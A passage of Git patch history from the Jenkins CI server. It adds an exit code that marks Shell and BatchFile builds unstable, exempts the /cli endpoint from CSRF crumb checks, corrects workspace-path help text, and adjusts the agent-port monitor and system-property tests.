build.getWorkspace(); if (ws == null) { Node node = build.getBuiltOn(); @@ -97,6 +116,7 @@ public abstract class CommandInterpreter extends Builder { Util.displayIOException(e, listener); e.printStackTrace(listener.fatalError(Messages.CommandInterpreter_CommandFailed())); } + this.build = null; return r==0; } finally { try { @@ -125,9 +145,12 @@ public abstract class CommandInterpreter extends Builder { /** * Reports the exit code from the process. * - * This allows subtypes to treat the exit code differently (for example by treating non-zero exit code - * as if it's zero, or to set the status to {@link Result#UNSTABLE}). Any non-zero exit code will cause - * the build step to fail. + * This allows subtypes to treat the exit code differently (for example by + * treating non-zero exit code as if it's zero). Any non-zero exit code + * will cause the build step to fail. + * + * To set the status to {@link Result#UNSTABLE}, use {@link #getBuild()} and + * call {@code getBuild().setResult(BuildResult.UNSTABLE); }. * * @since 1.549 */ -- GitLab From e773eb44621ded75e66e4d4b3aa6f7a48bebcb49 Mon Sep 17 00:00:00 2001 From: Craig Ringer Date: Mon, 21 Jul 2014 12:12:10 +0800 Subject: [PATCH 322/811] JENKINS-23786: Allow Shell jobs to set a return code for unstable Currently a shell job has to make a HTTP call back to Jenkins to set its build result as unstable. This is slow, requires the slave to have access to the master's HTTP interface, and is fiddly. The alternative, the TextFinder plugin, is no better. Instead, allow a job to set the build result to unstable with a return value. Adds the Advanced parameter "unstableReturn" which, if non-zero, is the code the script must return to set the build as unstable. --- core/src/main/java/hudson/tasks/Shell.java | 47 +++++++++++- .../hudson/tasks/Shell/config.groovy | 8 +++ .../src/test/java/hudson/tasks/ShellTest.java | 72 +++++++++++++++++++ 3 files changed, 124 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/hudson/tasks/Shell.java b/core/src/main/java/hudson/tasks/Shell.java index 701bccb4b6..a9ced4063d 100644 --- a/core/src/main/java/hudson/tasks/Shell.java +++ b/core/src/main/java/hudson/tasks/Shell.java @@ -27,7 +27,10 @@ import hudson.FilePath; import hudson.Functions; import hudson.Util; import hudson.Extension; +import hudson.Proc; import hudson.model.AbstractProject; +import hudson.model.Result; +import hudson.remoting.Callable; import hudson.remoting.VirtualChannel; import hudson.util.FormValidation; import java.io.IOException; @@ -53,16 +56,25 @@ import java.util.logging.Logger; */ public class Shell extends CommandInterpreter { @DataBoundConstructor - public Shell(String command) { + public Shell(String command, Integer unstableReturn) { super(LineEndingConversion.convertEOL(command, LineEndingConversion.EOLType.Unix)); + if (unstableReturn != null && unstableReturn.equals(0)) + unstableReturn = null; + this.unstableReturn = unstableReturn; + } + + public Shell(String command) { + this(command, null); } + private final Integer unstableReturn; + /** * Older versions of bash have a bug where non-ASCII on the first line * makes the shell think the file is a binary file and not a script. Adding * a leading line feed works around this problem. */ - private static String addLineFeedForNonASCII(String s) { + private static String addCrForNonASCII(String s) { if(!s.startsWith("#!")) { if (s.indexOf('\n')!=0) { return "\n" + s; @@ -87,13 +99,31 @@ public class Shell extends CommandInterpreter { } protected String getContents() { - return addLineFeedForNonASCII(LineEndingConversion.convertEOL(command,LineEndingConversion.EOLType.Unix)); + return addCrForNonASCII(fixCrLf(command)); } protected String getFileExtension() { return ".sh"; } + public final Integer getUnstableReturn() { + return unstableReturn; + } + + /** + * Allow the user to define a result for "unstable": + */ + @Override + protected int join(Proc p) throws IOException, InterruptedException { + final int result = p.join(); + if (this.unstableReturn != null && result != 0 && this.unstableReturn.equals(result)) { + getBuild().setResult(Result.UNSTABLE); + return 0; + } + else + return result; + } + @Override public DescriptorImpl getDescriptor() { return (DescriptorImpl)super.getDescriptor(); @@ -161,6 +191,17 @@ public class Shell extends CommandInterpreter { return Messages.Shell_DisplayName(); } + @Override + public Builder newInstance(StaplerRequest req, JSONObject data) { + final String unstableReturnStr = data.getString("unstableReturn"); + Integer unstableReturn = null; + if (unstableReturnStr != null && ! unstableReturnStr.isEmpty()) { + /* Already validated by f.number in the form */ + unstableReturn = (Integer)Integer.parseInt(unstableReturnStr, 10); + } + return new Shell(data.getString("command"), unstableReturn); + } + @Override public boolean configure(StaplerRequest req, JSONObject data) throws FormException { req.bindJSON(this, data); diff --git a/core/src/main/resources/hudson/tasks/Shell/config.groovy b/core/src/main/resources/hudson/tasks/Shell/config.groovy index 3e81fb53d4..72d4208c16 100644 --- a/core/src/main/resources/hudson/tasks/Shell/config.groovy +++ b/core/src/main/resources/hudson/tasks/Shell/config.groovy @@ -27,3 +27,11 @@ f=namespace(lib.FormTagLib) f.entry(title:_("Command"),description:_("description",rootURL)) { f.textarea(name: "command", value: instance?.command, class: "fixed-width", 'codemirror-mode': 'shell', 'codemirror-config': "mode: 'text/x-sh'") } + +f.advanced() { + + f.entry(title:_("Return code to set build unstable"), description:_("If set, the script return code that will be interpreted as an unstable build result.")) { + f.number(name: "unstableReturn", value: instance?.unstableReturn, min:1, max:255, step:1) + } + +} diff --git a/test/src/test/java/hudson/tasks/ShellTest.java b/test/src/test/java/hudson/tasks/ShellTest.java index b92ca772b7..540720a565 100644 --- a/test/src/test/java/hudson/tasks/ShellTest.java +++ b/test/src/test/java/hudson/tasks/ShellTest.java @@ -2,15 +2,20 @@ package hudson.tasks; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeTrue; + import hudson.Functions; import hudson.Launcher.ProcStarter; import hudson.Proc; +import hudson.model.Result; import hudson.model.FreeStyleBuild; import hudson.model.FreeStyleProject; import org.apache.commons.io.FileUtils; import org.jvnet.hudson.test.FakeLauncher; +import org.jvnet.hudson.test.HudsonTestCase; import org.jvnet.hudson.test.PretendSlave; +import org.jvnet.hudson.test.Issue; import java.io.File; import java.io.IOException; @@ -74,4 +79,71 @@ public class ShellTest { assertEquals(1,s.numLaunch); assertTrue(FileUtils.readFileToString(b.getLogFile()).contains("Hudson was here")); } + + /* A FakeLauncher that just returns the specified error code */ + private class ReturnCodeFakeLauncher implements FakeLauncher { + final int code; + + ReturnCodeFakeLauncher(int code) + { + super(); + this.code = code; + } + + @Override + public Proc onLaunch(ProcStarter p) throws IOException { + return new FinishedProc(this.code); + } + } + + @Issue("JENKINS-23786") + public void testUnstableReturn() throws Exception { + if(Functions.isWindows()) + return; + + PretendSlave returns2 = rule.createPretendSlave(new ReturnCodeFakeLauncher(2)); + PretendSlave returns1 = rule.createPretendSlave(new ReturnCodeFakeLauncher(1)); + PretendSlave returns0 = rule.createPretendSlave(new ReturnCodeFakeLauncher(0)); + + FreeStyleProject p; + FreeStyleBuild b; + + /* Unstable=2, error codes 0/1/2 */ + p = rule.createFreeStyleProject(); + p.getBuildersList().add(new Shell("", 2)); + p.setAssignedNode(returns2); + b = assertBuildStatus(Result.UNSTABLE, p.scheduleBuild2(0).get()); + + p = rule.createFreeStyleProject(); + p.getBuildersList().add(new Shell("", 2)); + p.setAssignedNode(returns1); + b = assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + + p = rule.createFreeStyleProject(); + p.getBuildersList().add(new Shell("", 2)); + p.setAssignedNode(returns0); + b = assertBuildStatus(Result.SUCCESS, p.scheduleBuild2(0).get()); + + /* unstable=null, error codes 0/1/2 */ + p = rule.createFreeStyleProject(); + p.getBuildersList().add(new Shell("", null)); + p.setAssignedNode(returns2); + b = assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + + p = rule.createFreeStyleProject(); + p.getBuildersList().add(new Shell("", null)); + p.setAssignedNode(returns1); + b = assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + + p = rule.createFreeStyleProject(); + p.getBuildersList().add(new Shell("", null)); + p.setAssignedNode(returns0); + b = assertBuildStatus(Result.SUCCESS, p.scheduleBuild2(0).get()); + + /* Creating unstable=0 produces unstable=null */ + assertNull( new Shell("",0).getUnstableReturn() ); + + } + + } -- GitLab From 4b067fdf15fc1568ce27a921e41047201047507b Mon Sep 17 00:00:00 2001 From: Craig Ringer Date: Tue, 22 Jul 2014 12:32:19 +0800 Subject: [PATCH 323/811] JENKINS-23786: Allow batch files to set an exit code for unstable builds --- .../src/main/java/hudson/tasks/BatchFile.java | 21 ++++- .../hudson/tasks/BatchFile/config.jelly | 8 +- .../hudson/tasks/BatchFile/config.properties | 3 +- .../test/java/hudson/tasks/BatchFileTest.java | 91 +++++++++++++++++-- 4 files changed, 111 insertions(+), 12 deletions(-) diff --git a/core/src/main/java/hudson/tasks/BatchFile.java b/core/src/main/java/hudson/tasks/BatchFile.java index 8dee9eaaca..18cf620eba 100644 --- a/core/src/main/java/hudson/tasks/BatchFile.java +++ b/core/src/main/java/hudson/tasks/BatchFile.java @@ -40,10 +40,17 @@ import java.io.ObjectStreamException; */ public class BatchFile extends CommandInterpreter { @DataBoundConstructor - public BatchFile(String command) { + public BatchFile(String command, Integer unstableReturn) { super(LineEndingConversion.convertEOL(command, LineEndingConversion.EOLType.Windows)); + this.unstableReturn = unstableReturn; + } + + public BatchFile(String command) { + this(command, null); } + private final Integer unstableReturn; + public String[] buildCommandLine(FilePath script) { return new String[] {"cmd","/c","call",script.getRemote()}; } @@ -56,6 +63,10 @@ public class BatchFile extends CommandInterpreter { return ".bat"; } + public final Integer getUnstableReturn() { + return unstableReturn; + } + private Object readResolve() throws ObjectStreamException { return new BatchFile(command); } @@ -73,7 +84,13 @@ public class BatchFile extends CommandInterpreter { @Override public Builder newInstance(StaplerRequest req, JSONObject data) { - return new BatchFile(data.getString("command")); + final String unstableReturnStr = data.getString("unstableReturn"); + Integer unstableReturn = null; + if (unstableReturnStr != null && ! unstableReturnStr.isEmpty()) { + /* Already validated by f.number in the form */ + unstableReturn = (Integer)Integer.parseInt(unstableReturnStr, 10); + } + return new BatchFile(data.getString("command"), unstableReturn); } public boolean isApplicable(Class jobType) { diff --git a/core/src/main/resources/hudson/tasks/BatchFile/config.jelly b/core/src/main/resources/hudson/tasks/BatchFile/config.jelly index 35e5f89c41..97e0fdc429 100644 --- a/core/src/main/resources/hudson/tasks/BatchFile/config.jelly +++ b/core/src/main/resources/hudson/tasks/BatchFile/config.jelly @@ -25,7 +25,13 @@ THE SOFTWARE. + description="${%command_description(rootURL)}"> + + + + + diff --git a/core/src/main/resources/hudson/tasks/BatchFile/config.properties b/core/src/main/resources/hudson/tasks/BatchFile/config.properties index e416300f20..5e0b6e0b04 100644 --- a/core/src/main/resources/hudson/tasks/BatchFile/config.properties +++ b/core/src/main/resources/hudson/tasks/BatchFile/config.properties @@ -20,4 +20,5 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -description=See the list of available environment variables +command_description=See the list of available environment variables +unstableReturn_description=If set, the batch errorlevel result that will be interpreted as an unstable build result. diff --git a/test/src/test/java/hudson/tasks/BatchFileTest.java b/test/src/test/java/hudson/tasks/BatchFileTest.java index 8cc16fd10a..504c5a94ef 100644 --- a/test/src/test/java/hudson/tasks/BatchFileTest.java +++ b/test/src/test/java/hudson/tasks/BatchFileTest.java @@ -1,16 +1,25 @@ package hudson.tasks; -import org.junit.Rule; -import org.junit.Test; +import static org.junit.Assert.asssertNull; +import static org.junit.Assume.assumeTrue; + +import hudson.Functions; +import hudson.Launcher.ProcStarter; +import hudson.Proc; +import hudson.model.Result; +import hudson.model.FreeStyleBuild; +import hudson.model.FreeStyleProject; +import org.apache.commons.io.FileUtils; +import org.jvnet.hudson.test.FakeLauncher; +import org.jvnet.hudson.test.HudsonTestCase; +import org.jvnet.hudson.test.PretendSlave; import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; -/** - * Tests for the BatchFile tasks class. - * - * @author David Ruhmann - */ -public class BatchFileTest { +import java.io.File; +import java.io.IOException; +import java.io.PrintStream; +import java.util.List; @Rule public JenkinsRule rule = new JenkinsRule(); @@ -27,4 +36,70 @@ public class BatchFileTest { BatchFile obj = new BatchFile("echo A\necho B\recho C"); rule.assertStringContains(obj.getContents(), "echo A\r\necho B\r\necho C\r\nexit %ERRORLEVEL%"); } + + /* A FakeLauncher that just returns the specified error code */ + private class ReturnCodeFakeLauncher implements FakeLauncher { + final int code; + + ReturnCodeFakeLauncher(int code) + { + super(); + this.code = code; + } + + @Override + public Proc onLaunch(ProcStarter p) throws IOException { + return new FinishedProc(this.code); + } + } + + @Issue("JENKINS-23786") + public void testUnstableReturn() throws Exception { + if(!Functions.isWindows()) + return; + + PretendSlave returns2 = createPretendSlave(new ReturnCodeFakeLauncher(2)); + PretendSlave returns1 = createPretendSlave(new ReturnCodeFakeLauncher(1)); + PretendSlave returns0 = createPretendSlave(new ReturnCodeFakeLauncher(0)); + + FreeStyleProject p; + FreeStyleBuild b; + + /* Unstable=2, error codes 0/1/2 */ + p = createFreeStyleProject(); + p.getBuildersList().add(new BatchFile("", 2)); + p.setAssignedNode(returns2); + b = assertBuildStatus(Result.UNSTABLE, p.scheduleBuild2(0).get()); + + p = createFreeStyleProject(); + p.getBuildersList().add(new BatchFile("", 2)); + p.setAssignedNode(returns1); + b = assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + + p = createFreeStyleProject(); + p.getBuildersList().add(new BatchFile("", 2)); + p.setAssignedNode(returns0); + b = assertBuildStatus(Result.SUCCESS, p.scheduleBuild2(0).get()); + + /* unstable=null, error codes 0/1/2 */ + p = createFreeStyleProject(); + p.getBuildersList().add(new BatchFile("", null)); + p.setAssignedNode(returns2); + b = assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + + p = createFreeStyleProject(); + p.getBuildersList().add(new BatchFile("", null)); + p.setAssignedNode(returns1); + b = assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + + p = createFreeStyleProject(); + p.getBuildersList().add(new BatchFile("", null)); + p.setAssignedNode(returns0); + b = assertBuildStatus(Result.SUCCESS, p.scheduleBuild2(0).get()); + + /* Creating unstable=0 produces unstable=null */ + assertNull( new BatchFile("",0).getUnstableReturn() ); + + } + } -- GitLab From de740c756f7de7fd225919342fa01796367abf00 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Thu, 22 Sep 2016 17:02:06 +0200 Subject: [PATCH 324/811] [FIX JENKINS-18114] Exclude /cli URL from crumb requirement (#2315) * [FIX JENKINS-18114] Exclude /cli URL from crumb requirement * [JENKINS-18114] Fix test: Don't send the crumb The CLI doesn't do this either. --- .../java/hudson/cli/CliCrumbExclusion.java | 52 +++++++++++++++++++ .../test/java/hudson/cli/CLIActionTest.java | 1 - 2 files changed, 52 insertions(+), 1 deletion(-) create mode 100644 core/src/main/java/hudson/cli/CliCrumbExclusion.java diff --git a/core/src/main/java/hudson/cli/CliCrumbExclusion.java b/core/src/main/java/hudson/cli/CliCrumbExclusion.java new file mode 100644 index 0000000000..ac49349ccf --- /dev/null +++ b/core/src/main/java/hudson/cli/CliCrumbExclusion.java @@ -0,0 +1,52 @@ +/* + * The MIT License + * + * Copyright (c) 2016 CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package hudson.cli; + +import hudson.Extension; +import hudson.security.csrf.CrumbExclusion; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.DoNotUse; + +import javax.servlet.FilterChain; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * Makes CLI HTTP fallback work with CSRF protection enabled (JENKINS-18114). + */ +@Extension +@Restricted(DoNotUse.class) +public class CliCrumbExclusion extends CrumbExclusion { + @Override + public boolean process(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws IOException, ServletException { + String pathInfo = request.getPathInfo(); + if (pathInfo != null && "/cli".equals(pathInfo)) { + chain.doFilter(request, response); + return true; + } + return false; + } +} diff --git a/test/src/test/java/hudson/cli/CLIActionTest.java b/test/src/test/java/hudson/cli/CLIActionTest.java index b42a89b329..87efece940 100644 --- a/test/src/test/java/hudson/cli/CLIActionTest.java +++ b/test/src/test/java/hudson/cli/CLIActionTest.java @@ -89,7 +89,6 @@ public class CLIActionTest { settings.setHttpMethod(HttpMethod.POST); settings.setAdditionalHeader("Session", UUID.randomUUID().toString()); settings.setAdditionalHeader("Side", "download"); // We try to download something to init the duplex channel - settings = wc.addCrumb(settings); Page page = wc.getPage(settings); WebResponse webResponse = page.getWebResponse(); -- GitLab From 62854ab6486d49efd331ab23caedd6ffef68b5ef Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Thu, 22 Sep 2016 17:02:40 +0200 Subject: [PATCH 325/811] Fix documentation on default location of workspaces (#2559) --- .../resources/jenkins/model/Jenkins/help-rawWorkspaceDir.html | 2 +- .../jenkins/model/Jenkins/help-rawWorkspaceDir_bg.html | 2 +- .../jenkins/model/Jenkins/help-rawWorkspaceDir_ja.html | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/core/src/main/resources/jenkins/model/Jenkins/help-rawWorkspaceDir.html b/core/src/main/resources/jenkins/model/Jenkins/help-rawWorkspaceDir.html index 765f7464e0..0249a88dd4 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/help-rawWorkspaceDir.html +++ b/core/src/main/resources/jenkins/model/Jenkins/help-rawWorkspaceDir.html @@ -26,5 +26,5 @@ page is saved, but note that Jenkins will not automatically migrate any data from the current workspace root directory.

                    - The default value is ${ITEM_ROOTDIR}/workspace. + The default value is ${JENKINS_HOME}/workspace/${ITEM_FULLNAME}.

                    diff --git a/core/src/main/resources/jenkins/model/Jenkins/help-rawWorkspaceDir_bg.html b/core/src/main/resources/jenkins/model/Jenkins/help-rawWorkspaceDir_bg.html index a6bd513f56..63c090bb30 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/help-rawWorkspaceDir_bg.html +++ b/core/src/main/resources/jenkins/model/Jenkins/help-rawWorkspaceDir_bg.html @@ -26,5 +26,5 @@ страница с настройки. Jenkins няма автоматично да мигрира каквито и да е данни от текущата директория за изграждане.

                    - Стандартната стойност е ${ITEM_ROOTDIR}/workspace. + Стандартната стойност е ${JENKINS_HOME}/workspace/${ITEM_FULLNAME}.

                    diff --git a/core/src/main/resources/jenkins/model/Jenkins/help-rawWorkspaceDir_ja.html b/core/src/main/resources/jenkins/model/Jenkins/help-rawWorkspaceDir_ja.html index b5547fffe1..6967b33ac6 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/help-rawWorkspaceDir_ja.html +++ b/core/src/main/resources/jenkins/model/Jenkins/help-rawWorkspaceDir_ja.html @@ -10,5 +10,5 @@

                    この値を変更することで、ワークスペースをSSD、SCSIあるいはRAMディスク上にワークスペースを配置することができます。 - デフォルト値は、${ITEM_ROOTDIR}/workspaceです。 + デフォルト値は、${JENKINS_HOME}/workspace/${ITEM_FULLNAME}です。 -- GitLab From ee98b4bc536a12f2866f8a3417a73748f23f3aeb Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Thu, 22 Sep 2016 17:37:20 +0200 Subject: [PATCH 326/811] Noting #2315 #2533 #2546 #2555 #2558 --- changelog.html | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 6793890cf6..11cdabb1d6 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,21 @@ Upcoming changes

                    What's new in 2.23 (2016/09/18)

                    -- GitLab From 8602715be1c9f51dbb4b66cbbff7763466d740ae Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Thu, 22 Sep 2016 18:47:03 +0200 Subject: [PATCH 327/811] [JENKINS-38187] Fixes @daniel-beck reviews --- core/src/main/java/jenkins/model/Jenkins.java | 10 ++-------- .../message.jelly | 6 +++--- .../message.properties | 3 ++- 3 files changed, 7 insertions(+), 12 deletions(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index dc33aa65f0..308e62bec2 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -1220,6 +1220,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve } @Extension + @Restricted(NoExternalUse.class) public static class EnforceSlaveAgentPortAdministrativeMonitor extends AdministrativeMonitor { @Inject Jenkins j; @@ -1234,15 +1235,8 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve return Jenkins.getSlaveAgentPortInitialValue(slaveAgentPort); } - public String getExpectedPortString() { - return Integer.toString(getExpectedPort()); - } - - /** - * Depending on whether the user said "yes" or "no", send him to the right place. - */ public void doAct(StaplerRequest req, StaplerResponse rsp) throws IOException { - if (req.hasParameter("fix")) { + if (req.hasParameter("reset")) { j.setSlaveAgentPort(getExpectedPort()); } rsp.sendRedirect2(req.getContextPath() + "/manage"); diff --git a/core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.jelly b/core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.jelly index a2aacb77a4..0f9f1b7478 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.jelly +++ b/core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.jelly @@ -1,7 +1,7 @@ -- GitLab From 5b6436f11eafe3df5c2b6af1f321ef7d6e9c6613 Mon Sep 17 00:00:00 2001 From: Yoann Dubreuil Date: Tue, 20 Sep 2016 14:56:27 +0200 Subject: [PATCH 330/811] Tests web app properties access properly --- .../jenkins/util/SystemPropertiesTest.java | 28 +++++++++++++++++-- 1 file changed, 26 insertions(+), 2 deletions(-) diff --git a/test/src/test/java/jenkins/util/SystemPropertiesTest.java b/test/src/test/java/jenkins/util/SystemPropertiesTest.java index 21d3de1744..2cc8ca10df 100644 --- a/test/src/test/java/jenkins/util/SystemPropertiesTest.java +++ b/test/src/test/java/jenkins/util/SystemPropertiesTest.java @@ -23,11 +23,13 @@ */ package jenkins.util; -import javax.servlet.ServletContext; import javax.servlet.ServletContextEvent; import net.sourceforge.htmlunit.corejs.javascript.RhinoSecurityManager; import static org.hamcrest.Matchers.*; import static org.junit.Assert.assertThat; + +import org.eclipse.jetty.server.handler.ContextHandler; +import org.jenkinsci.remoting.RoleChecker; import org.junit.Before; import org.junit.Rule; import org.junit.Test; @@ -60,11 +62,33 @@ public class SystemPropertiesTest { SystemProperties.getString("foo.bar"), equalTo("myVal")); } + @Test + public void shouldInitializeFromWebAppProperty() throws Exception { + assertThat("Property is undefined before test", + SystemProperties.getString("foo.bar"), equalTo(null)); + setWebAppInitParameter("foo.bar", "myVal"); + assertThat("Web App property should assign the value", + SystemProperties.getString("foo.bar"), equalTo("myVal")); + } + @Test public void shouldUseSystemPropertyAsAHighPriority() throws Exception { - ServletContext c = j.jenkins.servletContext; + setWebAppInitParameter("install-wizard-path", "myVal1"); System.setProperty("install-wizard-path", "myVal2"); assertThat("System property should take system property with a high priority", SystemProperties.getString("install-wizard-path"), equalTo("myVal2")); } + + /** + * Hack to set a web app initial parameter afterwards. Only works with Jetty. + * @param property property to set + * @param value value of the property + */ + protected void setWebAppInitParameter(String property, String value) { + if (!(j.jenkins.servletContext instanceof ContextHandler.Context)) { + throw new IllegalArgumentException("This only works with Jetty"); + } + + ((ContextHandler.Context)j.jenkins.servletContext).getContextHandler().getInitParams().put(property, value); + } } -- GitLab From e9e2d8686fae2eb37d122a75798aa608f7e4fa97 Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Fri, 23 Sep 2016 09:17:00 +0200 Subject: [PATCH 331/811] [JENKINS-38187] Fix latest comments --- core/src/main/java/jenkins/model/Jenkins.java | 8 +++++--- .../message.jelly | 2 +- .../message.properties | 2 +- 3 files changed, 7 insertions(+), 5 deletions(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 308e62bec2..f009835cc7 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -1230,15 +1230,17 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve return jenkins.model.Messages.EnforceSlaveAgentPortAdministrativeMonitor_displayName(); } + public String getSystemPropertyName() { + return Jenkins.class.getName() + ".slaveAgentPort"; + } + public int getExpectedPort() { int slaveAgentPort = j.slaveAgentPort; return Jenkins.getSlaveAgentPortInitialValue(slaveAgentPort); } public void doAct(StaplerRequest req, StaplerResponse rsp) throws IOException { - if (req.hasParameter("reset")) { - j.setSlaveAgentPort(getExpectedPort()); - } + j.setSlaveAgentPort(getExpectedPort()); rsp.sendRedirect2(req.getContextPath() + "/manage"); } diff --git a/core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.jelly b/core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.jelly index 0f9f1b7478..bc2149f752 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.jelly +++ b/core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.jelly @@ -24,7 +24,7 @@ THE SOFTWARE.
                    - ${%description(it.expectedPort)} + ${%description(it.systemPropertyName, it.expectedPort)}
                    diff --git a/core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.properties b/core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.properties index 1494760e14..e4f6f0fd8c 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/EnforceSlaveAgentPortAdministrativeMonitor/message.properties @@ -1,2 +1,2 @@ -description=Slave Agent Port has been manually changed. Its value will be reset to {0,number,#} on restart. +description=JNLP Agent Port has been changed but was specified through system property {0} on startup. Its value will be reset to {1,number,#} on restart. reset=Reset to {0,number,#} -- GitLab From b57875070ee2f53d1326594a0983c7bed3bd1326 Mon Sep 17 00:00:00 2001 From: Yoann Dubreuil Date: Fri, 23 Sep 2016 12:07:38 +0200 Subject: [PATCH 332/811] Skip test if not running on Jetty instead of failing --- .../src/test/java/jenkins/util/SystemPropertiesTest.java | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/test/src/test/java/jenkins/util/SystemPropertiesTest.java b/test/src/test/java/jenkins/util/SystemPropertiesTest.java index 2cc8ca10df..4a751d0a08 100644 --- a/test/src/test/java/jenkins/util/SystemPropertiesTest.java +++ b/test/src/test/java/jenkins/util/SystemPropertiesTest.java @@ -24,12 +24,12 @@ package jenkins.util; import javax.servlet.ServletContextEvent; -import net.sourceforge.htmlunit.corejs.javascript.RhinoSecurityManager; import static org.hamcrest.Matchers.*; import static org.junit.Assert.assertThat; import org.eclipse.jetty.server.handler.ContextHandler; -import org.jenkinsci.remoting.RoleChecker; +import org.hamcrest.Matchers; +import org.junit.Assume; import org.junit.Before; import org.junit.Rule; import org.junit.Test; @@ -85,10 +85,7 @@ public class SystemPropertiesTest { * @param value value of the property */ protected void setWebAppInitParameter(String property, String value) { - if (!(j.jenkins.servletContext instanceof ContextHandler.Context)) { - throw new IllegalArgumentException("This only works with Jetty"); - } - + Assume.assumeThat(j.jenkins.servletContext, Matchers.instanceOf(ContextHandler.Context.class)); ((ContextHandler.Context)j.jenkins.servletContext).getContextHandler().getInitParams().put(property, value); } } -- GitLab From de473f1e0181b18522d477e67831d2a546694c82 Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Fri, 23 Sep 2016 14:26:07 +0200 Subject: [PATCH 333/811] [JENKINS-38187] Make slaveAgentPort readonly in case the enforce flag is set --- .../security/GlobalSecurityConfiguration.java | 4 ++++ core/src/main/java/jenkins/model/Jenkins.java | 12 +++++++++++- .../GlobalSecurityConfiguration/index.groovy | 14 ++++++++++++-- .../GlobalSecurityConfiguration/index.properties | 3 +++ 4 files changed, 30 insertions(+), 3 deletions(-) create mode 100644 core/src/main/resources/hudson/security/GlobalSecurityConfiguration/index.properties diff --git a/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java b/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java index 5fa446fef7..a62fb49248 100644 --- a/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java +++ b/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java @@ -72,6 +72,10 @@ public class GlobalSecurityConfiguration extends ManagementLink implements Descr return Jenkins.getInstance().getSlaveAgentPort(); } + public boolean isSlaveAgentPortEnforced() { + return Jenkins.getInstance().isSlaveAgentPortEnforced(); + } + public Set getAgentProtocols() { return Jenkins.getInstance().getAgentProtocols(); } diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index f009835cc7..246b833803 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ 